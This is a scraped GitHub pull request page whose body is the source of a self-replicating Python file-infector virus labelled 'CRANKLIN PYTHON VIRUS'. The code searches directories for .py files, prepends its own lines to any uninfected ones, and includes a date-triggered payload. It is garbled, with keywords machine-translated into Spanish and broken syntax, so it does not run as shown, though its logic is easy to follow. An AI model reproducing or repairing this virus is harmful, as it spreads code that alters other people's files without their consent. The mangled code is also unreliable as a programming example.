Skip to content

kiiqhee #1

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

kiiqhee #1

wants to merge 1 commit into from

Conversation

kiiqhee
Copy link

@kiiqhee kiiqhee commented Mar 17, 2013

! # / Usr / bin / python
import os
import datetime
FIRMA = "CRANKLIN PYTHON VIRUS"
def búsqueda (path):
filestoinfect = []
filelist = os.listdir (path)
para fname en filelist:
si os.path.isdir (path + "/" fname +):
filestoinfect.extend (búsqueda (path + "/" + fname))
elif fname [-3:] == "py".:
infección = False
for linea in open (ruta + "/" fname +) :
Si la firma en línea:
infectado = True
descanso
si se infecta == False:
filestoinfect.append (ruta + "/" + fname)
volver filestoinfect
def infectar (filestoinfect):
virus = open (os.path.abspath (FILE))
= virusstring ""
for i, entrada de línea enumerate (virus):
si i> = 0 i <39:
virusstring + = línea
virus.close
para fname en filestoinfect:
f = open (fname)
temp = f.read ()
f.close ()
f = open (fname, "w")
f.write (virusstring + temp)
f.close ()
def bomba ():
si datetime.datetime.now () == 1 mes y datetime.datetime.now (. .) día == 25:
print "! CRANKLIN FELIZ CUMPLEAÑOS"
filestoinfect = search (os.path.abspath (""))
infectar (filestoinfect)
bomba ()

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant